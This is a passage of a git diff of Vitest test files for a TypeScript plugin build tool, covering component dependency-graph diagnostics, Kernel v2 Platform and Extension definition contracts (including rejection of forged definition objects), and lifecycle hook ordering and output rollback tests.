'graph-fixture', - version: '1.0.0', - description: 'Graph fixture.', - platforms: defaultPlatforms, - }, path.join(root, 'acplugin.config.ts'), 'validate', 'production'); - /** 当前扫描独占的诊断收集器。 */ - const diagnostics = new DiagnosticCollector(); - await scanProject(resolved.config!, diagnostics); - return diagnostics.diagnostics; -} - -afterEach(async () => { - await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); -}); - -describe('Component dependency graph', () => { - it('rejects missing, duplicate, malformed, and self references', async () => { - /** 包含四类依赖声明错误的临时工程。 */ - const root = await temporaryProject(); - await writeSkill(root, 'base'); - await writeSkill(root, 'broken', `requires: - skills: [base, base, missing, Invalid, broken] -`); - - /** 图结构校验产生的诊断码。 */ - const diagnostics = await graphDiagnostics(root); - /** 便于验证四类错误均出现的诊断码列表。 */ - const codes = diagnostics.map(diagnostic => diagnostic.code); - expect(codes).toEqual(expect.arrayContaining([ - 'COMPONENT_REQUIRES_DUPLICATE', - 'COMPONENT_REQUIRES_ID_INVALID', - 'COMPONENT_DEPENDENCY_MISSING', - 'COMPONENT_DEPENDENCY_SELF', - ])); - }); - - it('reports the complete deterministic path for a dependency cycle', async () => { - /** 形成 a → b → c → a 的三节点环。 */ - const root = await temporaryProject(); - await writeSkill(root, 'a', 'requires:\n skills: [b]\n'); - await writeSkill(root, 'b', 'requires:\n skills: [c]\n'); - await writeSkill(root, 'c', 'requires:\n skills: [a]\n'); - - /** 唯一的完整环路诊断。 */ - const diagnostics = await graphDiagnostics(root); - /** 从全部诊断中筛出的依赖环条目。 */ - const cycles = diagnostics.filter(diagnostic => diagnostic.code === 'COMPONENT_DEPENDENCY_CYCLE'); - expect(cycles).toHaveLength(1); - expect(cycles[0]?.message).toContain('skill:a -> skill:b -> skill:c -> skill:a'); - }); - - it('allows Command to depend on Skills and Agents without making Command requireable', async () => { - /** 合法 Command → Skill → Agent 有向无环图。 */ - const root = await temporaryProject(); - await writeSkill(root, 'review', 'requires:\n agents: [reviewer]\n'); - await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Reviewer.\n---\nReview.\n'); - await fs.writeFile(path.join(root, 'src/commands/check.md'), '---\ndescription: Check.\nrequires:\n skills: [review]\n agents: [reviewer]\n---\nCheck.\n'); - - expect(await graphDiagnostics(root)).toEqual([]); - }); -}); diff --git a/packages/core/test/kernel-contracts.test.ts b/packages/core/test/kernel-contracts.test.ts new file mode 100644 index 0000000..e9036aa --- /dev/null +++ b/packages/core/test/kernel-contracts.test.ts @@ -0,0 +1,167 @@ +import { describe, expect, it } from 'vitest'; +import { + defineExtension, + definePlatform, + isAcpluginExtension, + isAcpluginPlatform, + LIFECYCLE_API_VERSION, +} from '../src/kernel-sdk.js'; + +/** + * 创建 Kernel v2 契约测试使用的最小 Platform。 + * + * @param overrides 需要覆盖的定义字段。 + * @returns 交给 definePlatform 的完整定义。 + */ +function platformDefinition(overrides: Record = {}) { + return { + id: 'third-party', + apiVersion: '1', + deliveryType: 'plugin', + /** 每个 BuildSession 返回独立生命周期对象。 */ + createSession: () => ({ + /** 最小 Platform 产生空 base Package。 */ + createPackage: () => ({ documents: [], assets: [], compatibility: [], metadata: [] }), + /** 最小 Platform 确定一个 Plugin 主单元。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + /** 最小 Platform 没有额外 candidate 约束。 */ + validatePackage: () => undefined, + }), + ...overrides, + }; +} + +/** + * 创建 Kernel v2 契约测试使用的最小 Extension。 + * + * @param overrides 需要覆盖的定义字段。 + * @returns 交给 defineExtension 的完整定义。 + */ +function extensionDefinition(overrides: Record = {}) { + return { + id: 'third-party-extension', + apiVersion: '1', + resourceRoots: ['third-party'], + /** 每个 BuildSession 返回独立 Extension 生命周期对象。 */ + createSession: () => ({ + /** 空资源使后续阶段可以跳过。 */ + discover: () => undefined, + /** 最小验证输出没有 compatibility subject。 */ + validate: () => ({ state: {}, subjects: [] }), + /** 最小 build 输出为空状态。 */ + build: () => ({ state: {} }), + contributors: [], + }), + ...overrides, + }; +} + +describe('Kernel v2 definition contract', () => { + it('keeps API version one while branding and freezing complete Platform definitions', () => { + /** 调用方仍持有并将在工厂返回后修改的 options。 */ + const options = { marketplace: { states: ['AVAILABLE'] } }; + /** 共享工厂生成的最终 Platform。 */ + const platform = definePlatform({ + ...platformDefinition(), + options, + capabilities: { nodeRuntime: { target: 'node20', format: 'esm', root: 'plugin' } }, + } as never); + + options.marketplace.states.push('PRIVATE'); + expect(LIFECYCLE_API_VERSION).toBe('1'); + expect(isAcpluginPlatform(platform)).toBe(true); + expect(Object.isFrozen(platform)).toBe(true); + expect(Object.isFrozen(platform.options)).toBe(true); + expect(Object.isFrozen(platform.options!.marketplace)).toBe(true); + expect(platform.options).toEqual({ marketplace: { states: ['AVAILABLE'] } }); + }); + + it('rejects unknown fields, accessors, classes, cycles, sparse arrays and non-finite options', () => { + /** 循环 JSON 不能被复制成稳定 options。 */ + const cycle: Record = {}; + cycle.self = cycle; + /** 稀疏数组不能借助 JSON stringify 隐式变为 null。 */ + const sparse = new Array(2); + sparse[1] = 'value'; + /** class instance 不能把 prototype 行为藏入配置。 */ + class Options {} + + expect(() => definePlatform(platformDefinition({ unknown: true }) as never)).toThrow('Unknown Platform definition field'); + expect(() => definePlatform(Object.defineProperty(platformDefinition(), 'options', { + /** accessor 用于验证工厂不会执行不可信 getter。 */ + get: () => ({}), + enumerable: true, + }) as never)).toThrow('accessor'); + expect(() => definePlatform(platformDefinition({ options: new Options() }) as never)).toThrow('plain object'); + expect(() => definePlatform(platformDefinition({ options: cycle }) as never)).toThrow('cycles'); + expect(() => definePlatform(platformDefinition({ options: { sparse } }) as never)).toThrow('sparse'); + expect(() => definePlatform(platformDefinition({ options: { invalid: Number.POSITIVE_INFINITY } }) as never)).toThrow('finite'); + }); + + it('rejects wrong API versions, invalid identities and shape-compatible forgeries', () => { + /** 没有工厂品牌的完整等形对象。 */ + const forged = Object.freeze(platformDefinition()); + + expect(isAcpluginPlatform(forged)).toBe(false); + expect(() => definePlatform(platformDefinition({ apiVersion: '2' }) as never)).toThrow('Unsupported Platform API version'); + expect(() => definePlatform(platformDefinition({ id: 'Third Party' }) as never)).toThrow('lowercase kebab-case'); + expect(() => definePlatform(platformDefinition({ capabilities: { nodeRuntime: { target: 'node18' } } }) as never)).toThrow('Node 20 ESM'); + }); + + it('rejects discovered brand copies whose public shape or deep freeze was forged', () => { + /** 有效对象用于证明 copied brand 仍不能替代完整 shape validation。 */ + const platform = definePlatform({ ...platformDefinition(), options: { nested: { enabled: true } } } as never); + /** 从合法对象复制到可修改等形对象的全部自有描述符。 */ + const descriptors = Object.getOwnPropertyDescriptors(platform); + /** forged 删除 createSession 后重新冻结,仍保留发现到的 Symbol 品牌。 */ + const missingSession = {}; + Object.defineProperties(missingSession, Object.fromEntries(Reflect.ownKeys(descriptors) + .filter(key => key !== 'createSession') + .map(key => [key, Reflect.get(descriptors, key)]))); + Object.freeze(missingSession); + /** shallowFrozen 复制完整 shape,但替换为内部未冻结的 options。 */ + const shallowFrozen = {}; + Object.defineProperties(shallowFrozen, Object.fromEntries(Reflect.ownKeys(descriptors) + .filter(key => key !== 'options') + .map(key => [key, Reflect.get(descriptors, key)]))); + Object.defineProperty(shallowFrozen, 'options', { + value: Object.freeze({ nested: { enabled: true } }), + enumerable: true, + configurable: false, + writable: false, + }); + Object.freeze(shallowFrozen); + + expect(isAcpluginPlatform(missingSession)).toBe(false); + expect(isAcpluginPlatform(shallowFrozen)).toBe(false); + }); + + it('normalizes Extension id, roots and options without lifecycle ordering fields', () => { + /** 调用方仍持有的 resource root 与 options 容器。 */ + const resourceRoots = ['third-party']; + /** 调用方仍持有的 Extension options。 */ + const options = { include: ['alpha'] }; + /** 共享工厂生成的最终 Extension。 */ + const extension = defineExtension({ ...extensionDefinition(), resourceRoots, options } as never); + + resourceRoots.push('other'); + options.include.push('beta'); + expect(isAcpluginExtension(extension)).toBe(true); + expect(extension.id).toBe('third-party-extension'); + expect(extension.resourceRoots).toEqual(['third-party']); + expect(extension.options).toEqual({ include: ['alpha'] }); + expect('name' in extension).toBe(false); + expect('dependsOn' in extension).toBe(false); + }); + + it('rejects duplicate roots, unknown fields, wrong versions and Extension forgeries', () => { + /** 没有工厂品牌的完整等形 Extension。 */ + const forged = Object.freeze(extensionDefinition()); + + expect(isAcpluginExtension(forged)).toBe(false); + expect(() => defineExtension(extensionDefinition({ apiVersion: '2' }) as never)).toThrow('Unsupported Extension API version'); + expect(() => defineExtension(extensionDefinition({ resourceRoots: ['hooks', 'hooks'] }) as never)).toThrow('duplicates'); + expect(() => defineExtension(extensionDefinition({ resourceRoots: ['nested/root'] }) as never)).toThrow('lowercase kebab-case'); + expect(() => defineExtension(extensionDefinition({ dependsOn: ['other'] }) as never)).toThrow('Unknown Extension definition field'); + }); +}); diff --git a/packages/core/test/lifecycle.test.ts b/packages/core/test/lifecycle.test.ts deleted file mode 100644 index c5e0d76..0000000 --- a/packages/core/test/lifecycle.test.ts +++ /dev/null @@ -1,776 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { - bytesArtifact, - defineExtension, - definePlatform, - executeLifecycle, - resolveConfig, - stableJson, - type AcpluginExtension, - type AcpluginPlatform, - type BuildCommand, - type ResolvedConfig, -} from '../src/index.js'; - -/** 生命周期测试创建并统一清理的临时工程。 */ -const temporaryDirectories: string[] = []; - -/** @returns 已登记清理的临时工程根。 */ -async function temporaryRoot(): Promise { - /** 当前测试独占的临时工程。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-lifecycle-test-')); - temporaryDirectories.push(root); - return root; -} - -/** - * 创建能够完整透传 Draft 并序列化 Manifest 的虚拟 Platform。 - * - * @param id 虚拟 Platform ID。 - * @param events 生命周期顺序记录。 - * @param failPrepare 是否在 prepare 阶段注入失败。 - * @returns 第三方生态可实现的品牌化 Platform。 - */ -function virtualPlatform( - id: string, - events: string[], - failPrepare = false, -): AcpluginPlatform { - return definePlatform({ - id, - apiVersion: '1', - deliveryType: 'plugin', - options: { fixture: { id } }, - /** configResolved 记录虚拟 Platform 的配置阶段。 */ - configResolved() { events.push(`${id}:config`); }, - /** buildStart 验证最小 Context 并记录启动阶段。 */ - buildStart(context) { - events.push(`${id}:start`); - expect('outDir' in context).toBe(false); - }, - /** prepare 创建带一个 add-only 扩展点的 Manifest Draft。 */ - prepare(context) { - events.push(`${id}:prepare`); - expect('extensions' in context).toBe(false); - expect(context.options).toEqual({ fixture: { id } }); - expect(Object.isFrozen(context.options)).toBe(true); - context.reportMetadata({ - field: 'name', - disposition: 'emitted', - output: 'manifest.name', - reason: 'Virtual Platform emits the canonical name.', - }); - if (failPrepare) - throw new Error('virtual prepare failure'); - return { - documents: [{ - id: 'manifest', - path: 'manifest.json', - format: 'json', - owner: `platform:${id}`, - value: { name: context.project.metadata.name, extensions: {} }, - extensionPoints: [['extensions', 'bridge']], - }], - artifacts: [], - }; - }, - /** generateBundle 序列化合并后的 Manifest 与继承 Artifact。 */ - generateBundle(context) { - events.push(`${id}:generate`); - /** Platform 序列化的当前 owner-merged Manifest。 */ - const manifest = context.documents.find(document => document.id === 'manifest')!; - return { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - ...context.artifacts, - bytesArtifact(manifest.path, stableJson(manifest.value)), - ], - }; - }, - /** validateBundle 从物化候选读取并验证最终 Manifest。 */ - async validateBundle(context) { - events.push(`${id}:validate-bundle`); - expect(await fs.readFile(path.join(context.candidate.root, 'manifest.json'), 'utf8')).toContain('lifecycle-fixture'); - }, - /** buildEnd 记录成功或失败状态用于验证逆序清理。 */ - buildEnd(context) { - events.push(`${id}:end:${context.status}`); - }, - }); -} - -/** - * 创建拥有一个 Platform Adapter 的虚拟 Extension。 - * - * @param name Extension 名称。 - * @param platform Adapter 支持的 Platform。 - * @param events 生命周期顺序记录。 - * @param workDirs Extension Context 暴露的隔离目录记录。 - * @param empty discover 是否返回无资源信号。 - * @returns 品牌化第三方 Extension。 - */ -function virtualExtension( - name: string, - platform: AcpluginPlatform, - events: string[], - workDirs: string[], - empty = false, -): AcpluginExtension { - return defineExtension({ - name, - apiVersion: '1', - adapters: empty - ? [] - : [{ - extensionApiVersion: '1', - platform: platform.id, - platformApiVersion: '1', - /** apply 通过 add-only Context 提交字段、Artifact 与兼容性。 */ - apply(context, built) { - events.push(`${name}:adapter:${context.platform.id}`); - expect(Object.keys(context).sort()).toEqual([ - 'command', 'emitArtifact', 'getDocument', 'mode', 'patchDocument', 'platform', 'project', - 'reportCompatibility', 'reportDiagnostic', - ]); - context.patchDocument({ document: 'manifest', path: ['extensions', 'bridge'], value: built as never }); - context.emitArtifact(bytesArtifact('extensions/bridge.txt', 'bridge')); - context.reportCompatibility({ - subject: `extension:${name}`, - capability: 'bridge', - level: 'native', - reason: 'Virtual Adapter preserves the fixture.', - }); - }, - }], - /** configResolved 记录虚拟 Extension 的配置阶段。 */ - configResolved() { events.push(`${name}:config`); }, - /** buildStart 验证 Extension workDir 与最小 Context。 */ - buildStart(context) { - events.push(`${name}:start`); - workDirs.push(context.workDir); - expect('outDir' in context).toBe(false); - }, - /** discover 返回有资源状态或明确的空 Extension 信号。 */ - discover(context) { - events.push(`${name}:discover`); - expect(Object.keys(context).sort()).toEqual([ - 'command', 'loadTypeScriptModule', 'mode', 'reportDiagnostic', 'srcDir', 'workDir', - ]); - return empty ? undefined : { count: 1 }; - }, - /** validate 记录发现状态是否包含资源。 */ - validate(_context, discovered) { - events.push(`${name}:validate:${discovered === undefined ? 'empty' : 'resource'}`); - }, - /** build 把发现状态转换为 Adapter 可见的 Built State。 */ - build(_context, discovered) { - events.push(`${name}:build`); - return discovered === undefined ? undefined : { enabled: true }; - }, - /** buildEnd 记录 Extension 最终清理状态。 */ - buildEnd(context) { - events.push(`${name}:end:${context.status}`); - }, - }); -} - -/** - * 解析虚拟生态测试使用的最终配置。 - * - * @param root 工程根目录。 - * @param command 当前固定生命周期命令。 - * @param platforms 配置顺序 Platform。 - * @param extensions 配置顺序 Extension。 - * @param strict 全局严格度。 - * @returns 无配置诊断的 ResolvedConfig。 - */ -function lifecycleConfig( - root: string, - command: BuildCommand, - platforms: readonly AcpluginPlatform[], - extensions: readonly AcpluginExtension[], - strict = true, -): ResolvedConfig { - /** 虚拟生态的最终配置解析结果。 */ - const resolved = resolveConfig({ - name: 'lifecycle-fixture', - version: '1.0.0', - description: 'Lifecycle fixture.', - platforms, - extensions, - build: { strict }, - }, path.join(root, 'acplugin.config.ts'), command, 'production'); - expect(resolved.diagnostics).toEqual([]); - return resolved.config!; -} - -/** - * 执行一个在事务交换后由 Platform buildEnd 注入失败的真实 build。 - * - * @param withPreviousOutput 是否预先创建一份必须恢复的完整旧输出。 - * @returns 失败结果、输出目录和可观察的 buildEnd 状态。 - */ -async function buildEndRollbackFixture(withPreviousOutput: boolean) { - /** 当前事务回滚场景独占的工程根。 */ - const root = await temporaryRoot(); - /** resolveConfig 缺省管理的完整输出目录。 */ - const outDir = path.join(root, 'dist'); - if (withPreviousOutput) { - await fs.mkdir(path.join(outDir, 'previous', 'plugin'), { recursive: true }); - await fs.writeFile(path.join(outDir, 'previous', 'plugin', 'version.txt'), 'old'); - } - /** 记录 buildEnd 在抛错前收到的事务状态。 */ - const endStatuses: string[] = []; - /** 能生成完整主单元、但在 buildEnd 中失败的虚拟 Platform。 */ - const platform = definePlatform({ - id: withPreviousOutput ? 'rollback-existing' : 'rollback-empty', - apiVersion: '1', - deliveryType: 'plugin', - /** prepare 创建事务将尝试提交的新版本。 */ - prepare: () => ({ documents: [], artifacts: [bytesArtifact('version.txt', 'new')] }), - /** generateBundle 透传已校验的新版本 Artifact。 */ - generateBundle: context => ({ - id: 'plugin', role: 'primary', type: 'plugin', artifacts: context.artifacts, - }), - /** validateBundle 证明失败发生在候选完成验证之后。 */ - async validateBundle(context) { - expect(await fs.readFile(path.join(context.candidate.root, 'version.txt'), 'utf8')).toBe('new'); - }, - /** buildEnd 在 swap 后失败,事务必须恢复进入调用前的输出状态。 */ - buildEnd(context) { - endStatuses.push(context.status); - throw new Error('buildEnd rollback fixture'); - }, - }); - - /** 真实 build 命令默认启用 managed output commit。 */ - const result = await executeLifecycle({ - config: lifecycleConfig(root, 'build', [platform], []), - /** 当前 Fixture 不加载作者 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - return { root, outDir, result, endStatuses }; -} - -afterEach(async () => { - await Promise.all(temporaryDirectories.splice(0).map(directory => fs.rm(directory, { recursive: true, force: true }))); -}); - -describe('fixed Core lifecycle', () => { - it('allows a Platform to omit an empty optional Document but requires it after an Adapter patch', async () => { - /** 记录 Platform 是否观察到 Extension 合并结果。 */ - const serializedValues: unknown[] = []; - /** 使用 omit-if-empty 契约的虚拟 workspace Platform。 */ - const platform = definePlatform({ - id: 'optional-document', - apiVersion: '1', - deliveryType: 'workspace', - /** 空配置只为 Extension 保留 add-only 扩展点。 */ - prepare: () => ({ - documents: [{ - id: 'workspace-config', path: 'workspace.json', format: 'json', owner: 'platform:optional-document', - value: {}, emission: 'omit-if-empty', extensionPoints: [['mcp']], - }], - artifacts: [], - }), - /** 非空配置才序列化,复现 workspace Platform 的按需配置。 */ - generateBundle(context) { - /** 当前 Adapter 合并后的配置对象。 */ - const value = context.documents[0]!.value; - serializedValues.push(value); - return { - id: 'workspace', role: 'primary', type: 'workspace', - artifacts: Object.keys(value as object).length === 0 ? [] : [bytesArtifact('workspace.json', stableJson(value))], - }; - }, - /** 候选只验证配置存在性由 Core 控制。 */ - validateBundle: () => undefined, - }); - /** 空工程用于隔离 Document emission 行为。 */ - const root = await temporaryRoot(); - await fs.mkdir(path.join(root, 'src')); - /** 没有 Extension patch 的空配置构建结果。 */ - const empty = await executeLifecycle({ - config: lifecycleConfig(root, 'build', [platform], []), - /** 当前空状态 Fixture 不需要加载作者 descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - /** 通过 add-only patch 让同一可选 Document 变为必需的 Extension。 */ - const extension = defineExtension({ - name: 'optional-document-extension', - apiVersion: '1', - /** 非空发现状态用于激活当前测试 Extension。 */ - discover: () => ({ enabled: true }), - adapters: [{ - extensionApiVersion: '1', platform: platform.id, platformApiVersion: '1', - /** apply 新增 mcp 字段,使 Core 必须观察到对应序列化文件。 */ - apply(context) { - context.patchDocument({ document: 'workspace-config', path: ['mcp'], value: { docs: true } }); - }, - }], - }); - /** 第二个工程避免第一次事务输出影响断言。 */ - const patchedRoot = await temporaryRoot(); - await fs.mkdir(path.join(patchedRoot, 'src')); - /** 合并 Extension 后必须物化配置的构建结果。 */ - const patched = await executeLifecycle({ - config: lifecycleConfig(patchedRoot, 'build', [platform], [extension]), - /** 当前 add-only patch Fixture 不需要加载作者 descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - - expect(empty.success).toBe(true); - expect(empty.deliveryUnits[0]?.artifacts).toEqual([]); - expect(patched.success).toBe(true); - expect(patched.deliveryUnits[0]?.artifacts).toEqual([expect.objectContaining({ path: 'workspace.json' })]); - expect(serializedValues).toEqual([{}, { mcp: { docs: true } }]); - }); - - it('runs virtual Platform, Extension, and Adapter hooks in deterministic order with minimal contexts', async () => { - /** 全生命周期事件顺序。 */ - const events: string[] = []; - /** Extension 获得且不得彼此共享的临时目录。 */ - const workDirs: string[] = []; - /** 两个平台验证跨 Platform 串行顺序。 */ - const first = virtualPlatform('virtual-one', events); - /** 第二个虚拟 Platform 用于验证隔离和配置顺序。 */ - const second = virtualPlatform('virtual-two', events); - /** 有资源 Extension 只适配第一个 Platform。 */ - const bridge = virtualExtension('virtual-bridge', first, events, workDirs); - /** 空 Extension 不需要任何 Adapter。 */ - const empty = virtualExtension('virtual-empty', first, events, workDirs, true); - /** 带一个 Public 文件的规范工程。 */ - const root = await temporaryRoot(); - await fs.mkdir(path.join(root, 'public'), { recursive: true }); - await fs.writeFile(path.join(root, 'public/shared.txt'), 'public'); - - /** 第二个平台使用 relaxed 避免缺失 Bridge Adapter 阻止虚拟构建。 */ - const relaxedSecond = definePlatform({ ...second, strict: false }); - /** 完整虚拟生态执行后的生命周期结果。 */ - const result = await executeLifecycle({ - config: lifecycleConfig(root, 'validate', [first, relaxedSecond], [bridge, empty]), - /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - - expect(result.success).toBe(true); - expect(result.committed).toBe(false); - expect(result.deliveryUnits).toHaveLength(2); - expect(result.deliveryUnits.find(unit => unit.platform === 'virtual-one')?.artifacts).toEqual(expect.arrayContaining([ - expect.objectContaining({ path: 'extensions/bridge.txt', owner: 'extension:virtual-bridge' }), - expect.objectContaining({ path: 'shared.txt', owner: 'public' }), - expect.objectContaining({ path: 'manifest.json', owner: 'platform:virtual-one' }), - ])); - expect(result.compatibility).toEqual(expect.arrayContaining([ - expect.objectContaining({ platform: 'virtual-one', level: 'native' }), - expect.objectContaining({ platform: 'virtual-two', level: 'unsupported' }), - ])); - expect(result.metadata).toEqual([ - expect.objectContaining({ platform: 'virtual-one', field: 'name', disposition: 'emitted' }), - expect.objectContaining({ platform: 'virtual-two', field: 'name', disposition: 'emitted' }), - ]); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'COMPATIBILITY_RELAXED', platform: 'virtual-two', severity: 'warning', - })); - expect(result.compatibility.some(entry => entry.subject === 'extension:virtual-empty')).toBe(false); - expect(workDirs).toHaveLength(2); - expect(new Set(workDirs).size).toBe(2); - /** workDir 表示当前验证已被 finally 清理的 Extension 临时目录。 */ - for (const workDir of workDirs) - await expect(fs.access(workDir)).rejects.toThrow(); - expect(events).toEqual([ - 'virtual-one:config', 'virtual-two:config', 'virtual-bridge:config', 'virtual-empty:config', - 'virtual-one:start', 'virtual-two:start', 'virtual-bridge:start', 'virtual-empty:start', - 'virtual-bridge:discover', 'virtual-empty:discover', - 'virtual-bridge:validate:resource', 'virtual-empty:validate:empty', - 'virtual-bridge:build', 'virtual-empty:build', - 'virtual-one:prepare', 'virtual-bridge:adapter:virtual-one', 'virtual-one:generate', 'virtual-one:validate-bundle', - 'virtual-two:prepare', 'virtual-two:generate', 'virtual-two:validate-bundle', - 'virtual-empty:end:success', 'virtual-bridge:end:success', 'virtual-two:end:success', 'virtual-one:end:success', - ]); - }); - - it('shares one frozen environment snapshot across buildStart and buildEnd hooks', async () => { - /** 调用方提供且 Core 必须复制冻结的环境输入。 */ - const suppliedEnvironment = { FIXTURE_ENVIRONMENT: 'stable-value' }; - /** 四个生命周期 Hook 观察到的环境对象引用。 */ - const snapshots: Readonly>[] = []; - /** 同时实现 buildStart/buildEnd 的最小虚拟 Platform。 */ - const platform = definePlatform({ - id: 'environment-platform', - apiVersion: '1', - deliveryType: 'plugin', - /** buildStart 保存只读环境快照。 */ - buildStart(context) { - snapshots.push(context.environment); - }, - /** prepare 创建无扩展点的空 Draft。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** generateBundle 创建无 Artifact 的合法主单元。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** validateBundle 接受当前空候选。 */ - validateBundle: () => undefined, - /** buildEnd 保存与启动阶段相同的环境快照。 */ - buildEnd(context) { - snapshots.push(context.environment); - }, - }); - /** 同时实现 buildStart/buildEnd 且无资源的最小虚拟 Extension。 */ - const extension = defineExtension({ - name: 'environment-extension', - apiVersion: '1', - adapters: [], - /** buildStart 保存只读环境快照。 */ - buildStart(context) { - snapshots.push(context.environment); - }, - /** discover 明确表示当前 Extension 没有资源。 */ - discover: () => undefined, - /** buildEnd 保存与启动阶段相同的环境快照。 */ - buildEnd(context) { - snapshots.push(context.environment); - }, - }); - /** 空工程用于隔离环境 Context 行为。 */ - const root = await temporaryRoot(); - - /** 不提交输出的完整验证结果。 */ - const result = await executeLifecycle({ - config: lifecycleConfig(root, 'validate', [platform], [extension]), - /** 当前 Fixture 不加载作者 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: suppliedEnvironment, - }); - - expect(result.success).toBe(true); - expect(snapshots).toHaveLength(4); - expect(snapshots.every(snapshot => snapshot === snapshots[0])).toBe(true); - expect(snapshots[0]).not.toBe(suppliedEnvironment); - expect(snapshots[0]).toEqual(suppliedEnvironment); - expect(Object.isFrozen(snapshots[0])).toBe(true); - }); - - it('continues later Platforms after failure and appends cleanup errors without replacing it', async () => { - /** 故障隔离与逆序清理事件。 */ - const events: string[] = []; - /** prepare 会失败的第一个 Platform。 */ - const broken = virtualPlatform('broken-platform', events, true); - /** 仍应完整生成和验证的后续 Platform。 */ - const healthy = virtualPlatform('healthy-platform', events); - /** buildEnd 失败的空 Extension。 */ - const cleanup = defineExtension({ - name: 'cleanup-failure', - apiVersion: '1', - adapters: [], - /** discover 返回空资源,避免 Adapter 兼容性干扰清理测试。 */ - discover: () => undefined, - /** buildEnd 主动抛错以验证首错优先和逆序清理。 */ - buildEnd() { - events.push('cleanup-failure:end'); - throw new Error('cleanup failure'); - }, - }); - /** 不需要 Component 的空规范工程。 */ - const root = await temporaryRoot(); - - /** 同时包含 prepare 与 cleanup 失败的生命周期结果。 */ - const result = await executeLifecycle({ - config: lifecycleConfig(root, 'validate', [broken, healthy], [cleanup]), - /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(events).toContain('healthy-platform:validate-bundle'); - expect(events.slice(-3)).toEqual([ - 'cleanup-failure:end', - 'healthy-platform:end:failed', - 'broken-platform:end:failed', - ]); - expect(result.diagnostics).toEqual(expect.arrayContaining([ - expect.objectContaining({ code: 'PLATFORM_GENERATION_FAILED', platform: 'broken-platform' }), - expect.objectContaining({ code: 'EXTENSION_BUILD_END_FAILED', extension: 'cleanup-failure' }), - ])); - }); - - it('rolls back a swapped build to the previous complete output when buildEnd fails', async () => { - /** 带旧输出的事务失败结果。 */ - const { root, outDir, result, endStatuses } = await buildEndRollbackFixture(true); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(endStatuses).toEqual(['success']); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'PLATFORM_BUILD_END_FAILED', platform: 'rollback-existing', severity: 'error', - })); - expect(await fs.readFile(path.join(outDir, 'previous', 'plugin', 'version.txt'), 'utf8')).toBe('old'); - await expect(fs.access(path.join(outDir, 'rollback-existing'))).rejects.toThrow(); - expect((await fs.readdir(root)).filter(name => name.startsWith('.dist.acplugin-'))).toEqual([]); - }); - - it('removes the swapped output when buildEnd fails without a previous output', async () => { - /** 首次构建事务失败结果。 */ - const { root, outDir, result, endStatuses } = await buildEndRollbackFixture(false); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(endStatuses).toEqual(['success']); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'PLATFORM_BUILD_END_FAILED', platform: 'rollback-empty', severity: 'error', - })); - await expect(fs.access(outDir)).rejects.toThrow(); - expect((await fs.readdir(root)).filter(name => name.startsWith('.dist.acplugin-'))).toEqual([]); - }); - - it('treats resources without an Adapter as strict unsupported and emits no unit', async () => { - /** 严格 Platform 和无 Adapter Extension。 */ - const events: string[] = []; - /** 严格模式下不得接受 unsupported Extension 的 Platform。 */ - const strictPlatform = virtualPlatform('strict-platform', events); - /** discover 有资源但未声明任何 Adapter 的 Extension。 */ - const unsupported = defineExtension({ - name: 'unsupported-extension', - apiVersion: '1', - adapters: [], - /** discover 返回资源以触发缺失 Adapter 的兼容性结论。 */ - discover: () => ({ count: 1 }), - }); - /** 无其他结构错误的工程。 */ - const root = await temporaryRoot(); - - /** 严格模式下预期不生成任何单元的生命周期结果。 */ - const result = await executeLifecycle({ - config: lifecycleConfig(root, 'validate', [strictPlatform], [unsupported]), - /** 当前 Fixture 不加载真实 TypeScript 作者模块。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - - expect(result.success).toBe(false); - expect(result.deliveryUnits).toEqual([]); - expect(result.compatibility).toContainEqual(expect.objectContaining({ level: 'unsupported', platform: 'strict-platform' })); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); - }); - - it('keeps a rejected Document patch sticky when the Adapter catches the owner conflict', async () => { - /** 单一扩展点让第二个 Extension 必然与第一个 owner 冲突。 */ - const events: string[] = []; - /** 暴露唯一 bridge 扩展点的测试 Platform。 */ - const platform = virtualPlatform('sticky-owner', events); - /** 每个 Adapter 都捕获 patch 异常,模拟试图吞掉 Core 拒绝的第三方代码。 */ - const extension = (name: string): AcpluginExtension => defineExtension({ - name, - apiVersion: '1', - /** 非空发现状态确保当前 Extension 进入 Adapter 阶段。 */ - discover: () => ({ enabled: true }), - adapters: [{ - extensionApiVersion: '1', platform: platform.id, platformApiVersion: '1', - /** 捕获 owner 冲突以验证 Core 的粘滞失败状态。 */ - apply(context) { - try { - context.patchDocument({ - document: 'manifest', path: ['extensions', 'bridge'], value: { owner: name }, - }); - } catch { - // 第三方 catch 不能清除 Core 已记录的 sticky invalid 状态。 - } - }, - }], - }); - /** 按给定 Extension 顺序运行一次隔离生命周期。 */ - const run = async (names: readonly string[]) => { - /** 当前顺序测试独占的工程根。 */ - const root = await temporaryRoot(); - /** 按调用方给定顺序创建的 Extension 实例。 */ - const extensions = names.map(name => extension(name)); - return executeLifecycle({ - config: lifecycleConfig(root, 'validate', [platform], extensions), - /** 当前 Fixture 不加载作者 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - 